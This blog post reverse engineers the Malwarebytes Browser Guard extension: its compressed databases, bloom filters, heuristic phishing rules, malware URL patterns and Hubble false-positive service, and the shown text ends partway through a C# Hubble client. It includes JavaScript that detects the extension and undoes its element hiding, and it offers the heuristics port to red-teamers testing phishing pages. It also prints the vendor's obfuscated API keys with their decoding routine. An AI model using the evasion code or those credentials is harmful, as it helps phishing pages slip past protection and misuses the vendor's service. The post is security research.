> For the complete documentation index, see [llms.txt](https://miltinhoc.gitbook.io/malware-dev/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://miltinhoc.gitbook.io/malware-dev/reverse-engineering-malwarebytes-browser-guard.md).

# Reverse engineering Malwarebytes Browser Guard

## How this started

Malwarebytes Browser Guard flagged a site I was visiting with `scam_heuristic`, rule ID `21998111`. I wanted to see the rule.

<figure><img src="/files/PsTAkMGEQbBw6DadoOnl" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/NdO5frqfPnETqQyPguxT" alt=""><figcaption></figcaption></figure>

Browser Guard has about 15 million installs across Chrome, Firefox, and Edge, so whatever logic produced that ID is running in a lot of browsers.

What started as "let me look up one rule" turned into the analysis below.

## A quick detour: source maps and readable code

While digging through the extension files, I saw a large number of JavaScript bundles shipped alongside .map files.

<figure><img src="/files/GoyQMkdMOjyg0gBIRxpl" alt=""><figcaption></figcaption></figure>

These source maps contained full `sourcesContent` entries, meaning the original (or near-original) source code was embedded directly inside them.

<figure><img src="/files/4sw3Qc5oqw3ntOjExjFj" alt=""><figcaption></figcaption></figure>

A few things that were present on the code:

* Inline comments explaining code/decisions.
* References to Jira issues.&#x20;

<figure><img src="/files/FVOTaJPnInfVpfIFiRT9" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4OHoXrsyqJgtIPhqjVlu" alt=""><figcaption></figcaption></figure>

In practice, this significantly reduced the effort required to understand how the extension works internally.

## What's covered

This post documents a static analysis of Browser Guard 3.1.5. The on-disk databases and how they're encoded, the heuristic rule engine that scans the live DOM, the Hubble false-positive service, the package update protocol, and a debug URL interface left in the production build. Along the way I reimplement the bloom filter, Hubble client, and updater in C#, and the heuristics engine in Python.

{% hint style="info" %}
During this analysis, a new version of Browser Guard was launched (**3.1.7**), some bug fixing was done but nothing that would invalidate anything documented here.
{% endhint %}

## 1. Locating the extension files

On Chrome, the extension is unpacked under:

{% code overflow="wrap" %}

```bat
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions\ihcjicgdanjaechkgeegckofjjedodee\<version>\
```

{% endcode %}

<figure><img src="/files/YiqpsXSKioVnKTSrfUh2" alt=""><figcaption></figcaption></figure>

There are many files and directories. The `db` directory immediately stood out.

<figure><img src="/files/lB8MIY102t8RXn4HIqIk" alt=""><figcaption></figcaption></figure>

The data files in that directory are not immediately readable. Several of them are stored as compressed blobs with no file extension.

<figure><img src="/files/CJ57JNm9PWQnoTlRLWO1" alt=""><figcaption></figcaption></figure>

The next step was to determine the encoding of these blobs.

## 2. Identifying the compression format

After checking a bunch of files in a hex editor, I noticed all of them had the same first bytes: `28 B5 2F`

<figure><img src="/files/r48m2eP2g2qKSDhAbfWM" alt=""><figcaption></figcaption></figure>

A quick search on google shows that this matches Zstd-compressed data, which means the files can be decompressed easily.

{% code overflow="wrap" %}

```csharp
using ZstdSharp;

using (var input = File.OpenRead("mbgc.db.ads.2"))
{
    using (var output = File.Create("mbgc.db.ads.2.json"))
    {
        using (var decompressionStream = new DecompressionStream(input))
        {
            decompressionStream.CopyTo(output);
        }
    }
}
```

{% endcode %}

After decompressing, the files fall into two categories:

* Bloom Filters (JSON Format).
* Detection Rules (JSON Format).

## 3. Bloom filters

After decompression, several of the files turn out to be bloom filters.

> A Bloom filter is a space-efficient probabilistic data structure, conceived by Burton Howard Bloom in 1970, that is used to test whether an element is a member of a set. False positive matches are possible, but false negatives are not.

### Structure

The files use a simple JSON structure:

{% code overflow="wrap" %}

```json
{
  "k": 14,
  "m": 95851,
  "data": "AAAAAAAAAA..."
}
```

{% endcode %}

Where:

* `k`: is number of hash functions
* `m`: is number of bits in the filter
* `data`: is the base64-encoded bitset

### Hashing

Browser Guards ships with its own bloom filter implementation (`utils/databases/bloom-filter.js`)

The filter uses two hashes, **djb2** and **sdbm**, combined with **Kirsch–Mitzenmacher** double hashing.

<figure><img src="/files/IV9MYeMtuLhMnPaOa039" alt=""><figcaption></figcaption></figure>

The Bloom filter acts as a fast pre-check. It allows the extension to quickly determine whether a domain might belong to a given category before performing more expensive checks.

### Categories

The decompressed files include multiple category filters. Threat-related filters include:

{% code overflow="wrap" %}

```
ads, adware, compromised, exploit, fraud, hijack,
malvertising, pharma, phishing, ransomware, reputation,
riskware, spam, spyware, trojan, worm
```

{% endcode %}

Whitelist filters include:

{% code overflow="wrap" %}

```
whitelist.ads
whitelist.malware
whitelist.scams
whitelist.scams.manual
```

{% endcode %}

Additionally, a `top1m` dataset appears to represent the most popular domains, likely used to reduce false positives.&#x20;

This comes from Tranco global top sites list (<https://tranco-list.eu/>) which is a *"Research-Oriented Top Sites Ranking Hardened Against Manipulation".*

{% hint style="info" %}
A few filters that are present but don't seem to be loaded by the engine: (`compromised`, `exploit`, `worm`, `whitelist.scams)`
{% endhint %}

### Reproducing the filter in C\#

Since all filter parameters are fully available after decompression, the lookup logic ports cleanly to any language. The following C# implementation mirrors the JS source:

{% code title="BloomFilter.cs" %}

```csharp
public class BloomFilter
{
    private readonly int k;
    private readonly int m;
    private readonly uint[] data;

    public BloomFilter(int k, int m, uint[] data)
    {
        this.k = k;
        this.m = m;
        this.data = data;
    }

    private uint Djb2(string input)
    {
        uint hash = 5381;
        foreach (char c in input)
        {
            hash = ((hash * 33) + c) & 0xFFFFFFFF;
        }
        return hash;
    }

    private uint Sdbm(string input)
    {
        uint hash = 0;
        foreach (char c in input)
        {
            hash = ((hash * 65599) + c) & 0xFFFFFFFF;
        }
        return hash;
    }

    private int[] Indices(string input)
    {
        var r = Djb2(input);
        var t = Sdbm(input);
        var indices = new int[k];
        for (int i = 0; i < k; i++)
        {
            indices[i] = (int)((r + (uint)i * t) % (uint)m);
        }
        return indices;
    }

    public bool Contains(string input)
    {
        foreach (var idx in Indices(input))
        {
            int wordIndex = idx / 32;
            int bitIndex = idx % 32;
            if ((data[wordIndex] & (1u << bitIndex)) == 0)
                return false;
        }
        return true;
    }

    public static BloomFilter FromJson(string jsonPath)
    {
        JObject obj = JObject.Parse(File.ReadAllText(jsonPath));

        int k = obj["k"].Value<int>();
        int m = obj["m"].Value<int>();
        string base64 = obj["data"].Value<string>();

        byte[] raw = Convert.FromBase64String(base64);
        uint[] data = new uint[raw.Length / 4];
        Buffer.BlockCopy(raw, 0, data, 0, raw.Length);

        return new BloomFilter(k, m, data);
    }
}
```

{% endcode %}

```csharp
private static void BuildBloomFilters()
{
    _bloomFilters = new Dictionary<string, BloomFilter>
    {
        { "ads", BloomFilter.FromJson(Path.Combine(_outputPath, "mbgc.db.ads.2.json")) },
        { "adware", BloomFilter.FromJson(Path.Combine(_outputPath, "mbgc.db.adware.2.json")) },
        { "compromised", BloomFilter.FromJson(Path.Combine(_outputPath, "mbgc.db.compromised.2.json")) },
        { "exploit", BloomFilter.FromJson(Path.Combine(_outputPath, "mbgc.db.exploit.2.json")) },
        { "fraud", BloomFilter.FromJson(Path.Combine(_outputPath, "mbgc.db.fraud.2.json")) },
        { "hijack", BloomFilter.FromJson(Path.Combine(_outputPath, "mbgc.db.hijack.2.json")) },
        { "malvertising", BloomFilter.FromJson(Path.Combine(_outputPath, "mbgc.db.malvertising.2.json")) },
        { "pharma", BloomFilter.FromJson(Path.Combine(_outputPath, "mbgc.db.pharma.2.json")) },
        { "phishing", BloomFilter.FromJson(Path.Combine(_outputPath, "mbgc.db.phishing.2.json")) },
        { "ransomware", BloomFilter.FromJson(Path.Combine(_outputPath, "mbgc.db.ransomware.2.json")) },
        { "reputation", BloomFilter.FromJson(Path.Combine(_outputPath, "mbgc.db.reputation.2.json")) },
        { "riskware", BloomFilter.FromJson(Path.Combine(_outputPath, "mbgc.db.riskware.2.json")) },
        { "spam", BloomFilter.FromJson(Path.Combine(_outputPath, "mbgc.db.spam.2.json")) },
        { "spyware", BloomFilter.FromJson(Path.Combine(_outputPath, "mbgc.db.spyware.2.json")) },
        { "trojan", BloomFilter.FromJson(Path.Combine(_outputPath, "mbgc.db.trojan.2.json")) },
        { "worm", BloomFilter.FromJson(Path.Combine(_outputPath, "mbgc.db.worm.2.json")) },
        { "whitelist.ads", BloomFilter.FromJson(Path.Combine(_outputPath, "mbgc.db.whitelist.ads.2.json")) },
        { "whitelist.malware", BloomFilter.FromJson(Path.Combine(_outputPath, "mbgc.db.whitelist.malware.2.json")) },
        { "whitelist.scams", BloomFilter.FromJson(Path.Combine(_outputPath, "mbgc.db.whitelist.scams.2.json")) },
        { "whitelist.scams.manual", BloomFilter.FromJson(Path.Combine(_outputPath, "mbgc.db.whitelist.scams.manual.2.json")) },
        { "top1m", BloomFilter.FromJson(Path.Combine(_outputPath, "mbgc.db.top1m.2.json")) },
    };
}

private static void CheckHost(string host)
{
    foreach (KeyValuePair<string, BloomFilter> filter in _bloomFilters)
    {
        if (filter.Value.Contains(host))
        {
            Console.WriteLine($"Host {host}: {filter.Key.ToUpper()}");
        }
    }
}
```

Checking two hosts:

```
CheckHost("fujikyo.com.vn");
CheckHost("amazon.com");
```

We get this result:

<figure><img src="/files/tlJR8nzZIat0zaojN4IC" alt=""><figcaption></figcaption></figure>

To confirm these results, we can actually visit the first host and check the response from Browser Guard:

<figure><img src="/files/kk0Oas7r4GBKdDUKDSEL" alt=""><figcaption></figcaption></figure>

At the end of the post we will also implement a small client to keep the bloom filters updated!

## 4. Manifest-declared rules

Before getting to the custom heuristic engine, it is worth noting that the extension also ships a set of rules that operate at a different level.

The `manifest.json` declares a `declarativeNetRequest` block listing several rule files:

```json
"declarative_net_request": {
  "rule_resources": [
    { "enabled": true, "id": "mbgc.mv3.whitelist_1", "path": "db/mbgc.mv3.whitelist_1.json" },
    { "enabled": false, "id": "mbgc.mv3.ads_1", "path": "db/mbgc.mv3.ads_1.json" },
    { "enabled": false, "id": "mbgc.mv3.ads_2", "path": "db/mbgc.mv3.ads_2.json" },
    { "enabled": false, "id": "mbgc.mv3.malware_1", "path": "db/mbgc.mv3.malware_1.json" },
    { "enabled": false, "id": "mbgc.mv3.easylist_1", "path": "db/mbgc.mv3.easylist_1.json" },
    { "enabled": false, "id": "mbgc.mv3.easyprivacy_1", "path": "db/mbgc.mv3.easyprivacy_1.json" },
    { "enabled": true, "id": "mbgc.arw", "path": "db/mbgc.arw.json" },
    { "enabled": true, "id": "mbgc.mv3.always_allow_DNR", "path": "db/mbgc.mv3.always_allow_DNR.json" }
  ]
}
```

These are Chrome Manifest V3 `declarativeNetRequest` rules, enforced natively by the browser itself, not by the extension's JavaScript engine. That makes them architecturally separate from everything else covered in this post.

A few things stand out from the manifest:

**Enabled by default:**

* `mbgc.mv3.whitelist_1`: A set of targeted allow exceptions keyed by `initiatorDomains`.
* `mbgc.arw`: Anti-ransomware URL rules, currently empty.
* `mbgc.mv3.always_allow_DNR`: A high-priority allow-list, but only for `main_frame` requests.

**Disabled by default:**

* `ads_1`, `ads_2`: Ad blocking rules, off unless the user enables ad blocking in settings
* `malware_1`: Malware URL rules at the DNR layer
* `easylist_1`, `easyprivacy_1`: Well-known EasyList and EasyPrivacy filter lists, compiled into DNR format

There are 108,106 rules present:<br>

<figure><img src="/files/vZZ0yZ3jMPlg8oyxEsLD" alt=""><figcaption></figcaption></figure>

If we visit a domain present on the `malware_1` rules, we get this block page:

<figure><img src="/files/pAb5wtnNIyZAy18SPa2p" alt=""><figcaption></figcaption></figure>

## 5. Heuristic rules

How it works at a high level:

1. The background service worker loads the decompressed heuristics DB.
2. The content script asks for that DB on page load.
3. The content script evaluates domain-scoped selector rules against the live page DOM.
4. `adserver` matches hide elements in-page.
5. `scam` and `phishing` matches are sent back to the background.
6. The background applies whitelist logic. If the domain isn't whitelisted, it kicks off a Hubble false-positive check (Section 8) and redirects the tab to the Browser Guard block page. The two happen in parallel, if the FPChecker cache already has the domain marked good, the block is skipped synchronously, otherwise the block page loads while Hubble is queried, and the tab is redirected back to the original URL if Hubble clears it.

The live bundled heuristics DB is overwhelmingly a phishing/scam collection:

| Rule Type  | Rules Count |
| ---------- | ----------- |
| `*`        | 1975        |
| `Phishing` | 1408        |
| `Scam`     | 562         |
| `Adserver` | 5           |

<figure><img src="/files/wtY4QrW6Lsf20x912zUl" alt=""><figcaption></figcaption></figure>

### DOM Scanning

Heuristic scanning happens inside `hideHeuristicElements()`, which:

1. Lazily downloads the heuristics DB if it is not cached
2. Runs `processHeuristicsRules()` against the current page URL
3. Sends any page-block candidates to background
4. Hides any matched ad elements locally

<figure><img src="/files/ABG5E6ViQPNNk98zUa5h" alt=""><figcaption></figcaption></figure>

This function is called from two places:

* **Once during initial page processing**, when the content script first runs.
* **From a debounced** `MutationObserver` that watches `document.body` for newly inserted element nodes (`childList: true, subtree: true`).

Each batch of mutations starts (or resets) a 2000 ms timer,  the heuristic scan only runs after the page has been quiet for a full 2 seconds with no further element insertions. On a static page that finishes settling after load, that's typically 1 to 3 firings during initial render and then nothing, there is no continuous re-check while the page sits idle. Pages that keep mutating (SPAs, live tickers, late-loading content) keep retriggering, but only after each quiet window.

{% code overflow="wrap" %}

```javascript
export const DomObserver = (tab: Tab, easylist: EasyListElement, heuristicCacheObj, protectionStatus: IsAdProtectionActiveResponse) => {
  let debounceTimeoutId: ReturnType<typeof setTimeout> | null = null;
  let pendingNodes: Element[] = [];
  const DEBOUNCE_DELAY = 2000; // ms
  // ...
  const observer = new MutationObserver((mutations: MutationRecord[]) => {
  // Collect all new nodes in the batch
  for (const mutation of mutations) {
    for (const node of Array.from(mutation.addedNodes)) {
      if (isRelevantElement(node)) {
        pendingNodes.push(node);
      }
    }
  }
  
  // Clear existing timer and set a new one
  if (debounceTimeoutId) {
    clearTimeout(debounceTimeoutId);
  }
  
  debounceTimeoutId = setTimeout(() => {
    if (pendingNodes.length > 0) {
      // Process the entire batch at once
      processBatch([...pendingNodes]); // Copy array
      pendingNodes = []; // Clear the batch
    }
    debounceTimeoutId = null;
  }, DEBOUNCE_DELAY);
  });
});
```

{% endcode %}

### How matches are hidden

When the heuristic engine finds an element to hide, it doesn't remove it from the DOM. It adds a class. That class is defined in a stylesheet the extension injects into every page through a dynamic id chrome-extension URL, this happens because Browser Guard sets the `use_dynamic_url` property to `true`.

<figure><img src="/files/XmEWes2evDJ7Ziv41FTj" alt=""><figcaption></figcaption></figure>

The link tag looks like this:

{% code overflow="wrap" %}

```html
<link rel="stylesheet" href="chrome-extension://<dynamic_id>/app/content-style.css">
```

{% endcode %}

The stylesheet defines four utility classes. One hides elements outright, the other three apply colored blinking borders used for the extension's visual debugging mode (Section 13 covers how to turn that on).

{% code overflow="wrap" %}

```css
.A2O4W8X6IK {
   display: none !important;
}

@-webkit-keyframes borderBlinkGeneric {    
   from, to {    
       border-color: transparent    
   }    
   50% {    
       border-color: red    
   }    
}    
@keyframes borderBlinkGeneric {    
   from, to {    
       border-color: transparent    
   }    
   50% {    
       border-color: red    
   }    
} 

@-webkit-keyframes borderBlinkSpecific {    
   from, to {    
       border-color: transparent    
   }    
   50% {    
       border-color: blue    
   }    
}    
@keyframes borderBlinkSpecific {    
   from, to {    
       border-color: transparent    
   }    
   50% {    
       border-color: blue
   }    
} 

@-webkit-keyframes borderBlinkHeuristic {    
   from, to {    
       border-color: transparent    
   }    
   50% {    
       border-color: greenyellow
   }    
}    
@keyframes borderBlinkHeuristic {    
   from, to {    
       border-color: transparent    
   }    
   50% {    
       border-color: greenyellow
   }    
} 

.B2O4W8X6IL {
   /* border-color: red !important; */
   border-width: 3px !important;
   border-style: dashed !important;
   -webkit-animation: borderBlinkGeneric 1s step-end infinite;    
   animation: borderBlinkGeneric 1s step-end infinite; 
}

.C2O4W8X6IM {
   /* border-color: blue; */
   border-width: 3px !important;
   border-style: dotted !important;
   -webkit-animation: borderBlinkSpecific 1s step-end infinite;    
   animation: borderBlinkSpecific 1s step-end infinite; 
}

.D2O4W8X6IN {
   border-color: yellow !important;
   border-width: 3px !important;
   border-style: solid !important;
   -webkit-animation: borderBlinkHeuristic 1s step-end infinite;    
   animation: borderBlinkHeuristic 1s step-end infinite; 
}
```

{% endcode %}

When an element matches, Browser Guard adds the hide class and a title attribute describing why. So this:

{% code overflow="wrap" %}

```html
<div id="AC_ad">
    Hello
</div>
```

{% endcode %}

becomes this:

{% code overflow="wrap" %}

```html
<div id="AC_ad" title="Blocked (id): AC_ad" class="A2O4W8X6IK">
    Hello
</div>
```

{% endcode %}

The element is still in the DOM. It's just hidden via the injected stylesheet.

#### Defeating the hide

Because the hiding happens through a class added at runtime, any javascript running in the page can undo it.

The injected tag is a somewhat (since the id is dynamic) reliable way to detect that Browser Guard is installed in the first place. Once detected, a MutationObserver watching for the class can strip it as soon as it's added:

{% code overflow="wrap" %}

```javascript
const HIDE_CLASS = "A2O4W8X6IK";
const STYLE_HREF = "/app/content-style.css";

let browserGuardDetected = false;

const observer = new MutationObserver((mutations) => {
    for (const m of mutations) {
        if (!browserGuardDetected) {
            for (const node of m.addedNodes) {
                if (node.tagName === "LINK" && node.href?.includes(STYLE_HREF)) {
                    browserGuardDetected = true;
                    console.log("Browser Guard detected");
                    break;
                }
            }
        }

        if (m.type === "attributes" && m.target.classList?.contains(HIDE_CLASS)) {
            m.target.classList.remove(HIDE_CLASS);
        }
    }
});

observer.observe(document.documentElement, {
    childList: true,
    subtree: true,
    attributes: true,
    attributeFilter: ["class"],
});
```

{% endcode %}

### Rule format

Each raw heuristics entry looks like this:

{% code overflow="wrap" %}

```json
{
  "id": 21998107,
  "r": "/*.vercel.app/#?#title:contains(instagram)",
  "s": false,
  "t": "phishing",
  "a": true
}
```

{% endcode %}

The fields are:

* `id`: numeric rule ID
* `r`: raw rule string
* `t`: rule type (`adserver`, `scam`, `phishing`)
* `s`: silent flag
* `a`: aggressive-mode flag. When `true`, the rule is allowed to fire even on domains in the `top1m` legitimate-domains list (which would otherwise suppress it). Other whitelists,  `whitelist.scams.manual`, `whitelist.scams.patterns`, and the hardcoded `ALWAYS_ALLOW` map, still apply, so an aggressive rule can still be silently dropped on a manually allowlisted host.
* `d`: optional description

The `s` field is worth noting. It means not every rule match results in a visible block. Some rules operate silently, likely for detections where a hard block would produce too many false positives.

For example, this rule:

{% code overflow="wrap" %}

```json
{{"id":22421848,"r":"#?#title:contains(sign in to office account)","s":true,"t":"phishing","a":true}
```

{% endcode %}

It fires on **any domain** when the page's `<title>` contains "sign in to office account" (case-insensitive).

Visiting a test page with that title produces these logs in the service-worker console (but doesn't block it):

<figure><img src="/files/j319VyOuBBDeWntIizQS" alt=""><figcaption></figcaption></figure>

### Separator syntax

The rule grammar uses the same separator concepts as cosmetic filter syntax:

* `domain##selector`: stored as `basic_selectors`
* `domain#?#selector`: stored as `extended_selectors`

### Domain scoping

The raw rule is split with regex `/^(.*?)(##|#?#)(.+)$/`, which means:

* everything before `##` or `#?#` is the domain scope
* everything after is the selector expression

If the domain scope is empty, it is normalized to `*`.

Examples:

* `#?#title:contains(netflix)`: global rule (`*`)
* `/*.github.io/#?#title:contains(bitpanda)`: applies only when the current page URL matches that regex-like scope
* `yahoo[.]com##div[class*='ad-container']`: basic ad-hiding rule for Yahoo pages

### Multi-part rule groups

Rules can chain multiple selector requirements using `#@#`:

```
/*.github.io/#?#title:contains(Binance)#@#body:contains(Login)
```

This compiles into one rule group with two selector objects. The group only matches if every selector in the chain matches.

### Supported selector operators

* `:contains()`
* `:xpath()`
* `:properties()`
* `:has()`
* `:not()`
* `:fmd5()`
* action operators `:click()` and `:remove()`

<figure><img src="/files/W7Imxx43Fmbw3lIvRI9l" alt=""><figcaption></figcaption></figure>

### Most common domain scopes

| Scope               | Number of rules |
| ------------------- | --------------- |
| `*`                 | 418             |
| `*.github.io`       | 167             |
| `*.vercel.app`      | 158             |
| `*.pages.dev`       | 133             |
| `*.webflow.io`      | 99              |
| `*.weebly.com`      | 97              |
| `*.r2.dev`          | 94              |
| `*.dweb.link`       | 75              |
| `*.workers.dev`     | 68              |
| `*.netlify.app`     | 63              |
| `*.web.app`         | 56              |
| `*.firebaseapp.com` | 54              |
| `ipfs.io`           | 49              |

### Small Heuristics engine in python

With everything covered above, the Zstd-decoded heuristics DB, the `splitRule` logic, the extended-selector parser and the `:contains()` matcher, the same logic ports cleanly to a small Python project. This can be useful for red-teamers building phishing pages who want to test, offline, whether their payload would trip a rule before it ever reaches a victim's browser.

Looking at the live DB, `:contains()` **covers 1,947 of the 1,975 rules (98.6 %)**. Everything else combined, `:xpath()`, `:has()`, `:comments()`, `:click()`, is just five rules. So a minimal port can implement plain CSS selectors and `:contains()` only, skip the seven rules that use anything else, and still scan against essentially the entire heuristics DB.

The full project:

{% embed url="<https://github.com/miltinhoc/HeuristicsEngine.Python>" %}

## 6. What the rules are targeting

The heuristics engine is deliberately focused on phishing/scam content hosted on common free cloud hosting platforms.

### Brand / Title impersonation

A huge portion of the rules are effectively:

* "page title contains brand X"
* often combined with "body contains login text Y"
* often restricted to suspicious hosting providers

Examples:

* `/*.vercel.app/#?#title:contains(instagram)`
* `/*.r2.dev/#?#title:contains(microsoft)`
* `/*.webflow.io/#?#title:contains(kraken.com)`
* `/*.github.io/#?#title:contains(Bitpanda)#@#body:contains(Login)`

### Email / Webmail / Account phish

Examples:

* `title:contains(outlook)`
* `title:contains(webmail)`
* `title:contains(sign in to your account)`
* `p:contains(enter your password)`

### Crypto related

Examples:

* `/*.godaddysites.com/#?#title:contains(metamask)`
* `/*.vercel.app/#?#title:contains(bitpanda)`
* `/*.github.io/#?#title:contains(trezor suite)`
* `/*.netlify.app/#?#title:contains(coinbase)`

### Script-content signatures

There is a smaller set of `script:contains()` rules looking for:

* Telegram API exfiltration references
* Clickfix related strings
* Obfuscated strings
* Known JavaScript marker strings

Examples:

<figure><img src="/files/NzuoM0WmAwaXRkqnvE6V" alt=""><figcaption></figcaption></figure>

The rules above are shown as images because GitBook renders the page with JavaScript, which means the rule strings themselves end up inside a `<script>` tag:

<figure><img src="/files/MZwkn8i3r4qWMmczfHYb" alt=""><figcaption></figcaption></figure>

This ends up triggering a detection, not only for my blog, but for any blog (GitBook or not) that renders pages the same way. For example, all these trigger a detection as well:

<figure><img src="/files/7lSvG5XfJBjuIHe6P74Z" alt=""><figcaption></figcaption></figure>

### Scam / Fake-alert / Fake-verification text

Scam-oriented rules for:

* Fake account-security prompts
* Fake robot checks
* Fake delivery/payment notices
* Fake Windows alert pages

Examples:

* `p:contains(Complete these steps to secure your account...)`
* `div:contains(Using this page, we will be able to determine that you are not the robot)`
* `div:contains(CRITICAL ALERT FROM WINDOWS)`

The parser supports far more than the shipped rules uses, `:xpath()`, `:properties()`, `:has()`, `:not()`, `:fmd5()` and `:remove()` are all implemented but absent or near-absent from the heuristics DB.&#x20;

## 7. Malware rules

Separate from the heuristic page rules are the malware URL rule files.

One of the smaller files is a plain JSON array of regex strings:

```json
[
    "servicecontractagreement_[0-9]+_[0-9]+\\.zip",
    "employmentverification_[0-9]+_[0-9]+\\.zip",
    "complaint_[0-9]+_[0-9]+\\.zip",
    "(?:[0-9]{1,3}\\.){3}[0-9]{1,3}\\/images\\/update\\.dll",
    "https:\\/\\/files\\.slack\\.com\\/files-pri\\/t9bmqnj1y-f\\d{2}[a-z0-9]{8}\\/download\\/[a-z]{3,}\\d{2,4}(\\w{2,3})?\\.exe",
    "joebecomplaint_[0-9]+_[0-9]+\\.zip",
    "testdomain123.com",
    "estdomain123.shop/tes"
]
```

These patterns match malicious download names and known URL structures used in malware delivery campaigns. The larger file uses the same general `{id, r, s}` format as other rule sets, with `r` holding a regex pattern.

There are 3 types of definitions:

* Rules
* Regex Patterns
* Complete URLs

These accumulate to over 66,000 rules / patterns / urls

### Typosquatting detection

One cluster of patterns in the URL rules stands out, these patterns enumerate variants of well-known brand names, all scoped to a single hosting domain (`nxcli.net`) and a single endpoint (`/login.php`):

{% code overflow="wrap" %}

```
0nedr1ve    0nedrlve    0utl00k     0utlook     1cloud
1nstagram   1tunes      ad0be       appledid    appsid
barc1ays    dr0pb0x     dr0pbox     dropb0x     droppbox
faceb00k    faceb0ok    facebo0k    gmaii       gmali
lmstagram   lnbox       lnstagram   m1crosoft   micr0s0ft
micr0soft   micros0ft   mlcrosoft   nertflix    netfiix
netfilx     netfix      netfl1x     netfliix    netfllx
netlfix     netrflix    off1ce      offlce      onedr1ve
outl00k     p4yment     p4ymnt      paypl       sberbank
slgnin      yah00       0nedrive    yah0
```

{% endcode %}

Each pattern matches a URL of the form:

{% code overflow="wrap" %}

```
http://<brand-variant>.nxcli.net/login.php
http://nxcli.net/<brand-variant>.../login.php
```

{% endcode %}

## 8. False positive prevention via Hubble

Not every heuristic match results in a block. Before the tab is redirected to the Browser Guard block page, the extension queries a remote service called **Hubble** to check whether the triggering domain is a false positive, if it is, the block is reverted.

This is implemented in `app/scripts/fpcheck/`:

* `fp-checker.ts`: the local cache + decision logic
* `hubble.ts`: the HTTP client (send a hash, get a classification back)
* `secrets-consts.ts`: XOR-obfuscated client credentials baked into the bundle

The flow that ties them together lives in `malwarebytes.startFPCheck()`:

1. A rule fires (an heuristic, a malware URL, etc.) and `startFPCheck` is invoked with the domain, tab, and rule ID.
2. `FPChecker.checkForFP()` first consults a 1000 entry in-memory cache list. If the domain is cached and fresh, the cached verdict is returned synchronously.
3. If the domain is not cached, `putHash(domain, ruleId)` is called, which sends a `PUT https://hubble.mb-cosmos.com/hashes` request carrying the SHA-256 of the domain, signed with an HS256 JWT.
4. Hubble returns one of three classifications: `GOOD`, `DO_NOT_DETECT`, or `UNKNOWN`. The first two are classified as "**good**".
5. If Hubble says "**good**", `startFPCheck` waits for the tab to land on the Browser Guard block page and then **redirects it back to the original URL**, also adding the host to a temporary exclusion. The user briefly sees the block page flash and then returns to the legitimate site.
6. If Hubble says `UNKNOWN` (or any error occurs), the block stands. `FPChecker.shouldBlock` defaults to **true** on failure.
7. The result is cached with the `trust_expires_at` value Hubble returns, but values are capped at 5 minutes in code before caching.

### Hubble Request

{% code overflow="wrap" %}

```http
PUT https://hubble.mb-cosmos.com/hashes
Content-Type: application/json
Accept: application/vnd.hubble+json; version=2
Authorization: Bearer <HS256 JWT>
{
  "hashes": [{ "rule_id": "21998111", "sha256": "<sha256(domain)>" }],
  "product_code": "bg",
  "product_version": "3.1.5",
  "product_component": "bg",
  "product_component_version": "1.0",
  "product_build": "<BUILD_NUMBER>",
  "product_scantype": "scan",
  "machine_id": "<uuid>"
}
```

{% endcode %}

Worth noting: only the **SHA-256 of the domain** is sent. Hubble does not see the URL or the page content.

A sidenote on the `machine_id`, the extension reads it from `chrome.storage.local`, falling back to a freshly generated `crypto.randomUUID()` if the key is absent.&#x20;

If Malwarebytes AV is installed on the same machine, its native messaging (`mbambgnativemsg.exe`) pushes the AV's own machine ID into the extension via an event:

{% code overflow="wrap" %}

```javascript
nativeApp = chrome.runtime.connectNative('mbambgnativemsg.exe');
// ...
nativeApp.onMessage.addListener((resp) => {
    console.debug('CN: Native App Message: ', resp);
    if (resp && resp.eBGAction && resp.eBGAction.forEach) {
        resp.eBGAction.forEach(async (key) => {
            if (key.eMachId) {
                return await simpleStorageSet({ machineId: key.eMachId });
            }
            // ...
        });
    }
});
```

{% endcode %}

From that point on, every Hubble request carries the AV's `mbos__...` prefixed machine ID instead of the per-extension UUID, meaning the extension and the desktop AV are correlatable to Hubble's backend.&#x20;

### The JWT and the obfuscated keys

The `Authorization` header is an HS256 JWT signed with a per-build secret. The payload:

{% code overflow="wrap" %}

```json
{
  "accesskey": "<HUBBLE_ACCESS_KEY>",
  "productcode": "mbgc-c",
  "productversion": "3.1.5",
  "productbuild": "<BUILD_NUMBER>",
  "machineid": "<uuid>"
}
```

{% endcode %}

Both `HUBBLE_ACCESS_KEY` and `HUBBLE_SECRET_KEY` are stored in the bundle as XOR-obfuscated base64 blobs in `secrets-consts.ts`. The deobfuscation routine is also in the bundle:

{% code overflow="wrap" %}

```typescript
export function HUBBLE_ACCESS_KEY() {
    const dataBytes = Uint8Array.from(
      atob("yt/c9er5/4H/5L2Tvs3I1MDP+47X0vu87tfJ5vDb2NLAuaT0"),
      (c) => c.charCodeAt(0)
    );
    const keyBytes = Uint8Array.from(atob("THZoRGZqZjdmb3NaN1NUQw=="), (c) =>
      c.charCodeAt(0)
    );
    for (let i = 0; i < dataBytes.length; i++) {
      dataBytes[i] ^= ~keyBytes[i % keyBytes.length] & 0xff;
    }
    return new TextDecoder().decode(dataBytes).slice(16);
}
export function HUBBLE_SECRET_KEY() {

    const dataBytes = Uint8Array.from(
      atob(
"5f6P1Ovr5PjwtJzimf/Io/iwjejm0dL/x47C8eTEyNz+hPTV1NXPxqG77/zE/N/A25zv17/Xw9v7n+L3wcXV9Mmci9vo57/x/pTF6u6fyNesjo2t1JG77Paoy+jDzM7I77DA8N+Wz637m9fy+NP108SG++S699zTpqXlve7CwOCq8MCpz+PL7aa5x+rq+9bq"
      ),
      (c) => c.charCodeAt(0)
    );
    const keyBytes = Uint8Array.from(atob("YzdFY3JZd2NtM1J6VFR4ZQ=="), (c) =>
      c.charCodeAt(0)
    );
    for (let i = 0; i < dataBytes.length; i++) {
      dataBytes[i] ^= ~keyBytes[i % keyBytes.length] & 0xff;
    }
    return new TextDecoder().decode(dataBytes).slice(16);
}
```

{% endcode %}

### A minimal Hubble client in C\#

{% code overflow="wrap" %}

```csharp
using System.Net.Http.Headers;
using System.Security.Cryptography;
using System.Text;
using System.Text.Json;

namespace HubbleClient;

internal static class Program
{
    private const string AccessKeyData = "yt/c9er5/4H/5L2Tvs3I1MDP+47X0vu87tfJ5vDb2NLAuaT0";
    private const string AccessKeyXor = "THZoRGZqZjdmb3NaN1NUQw==";
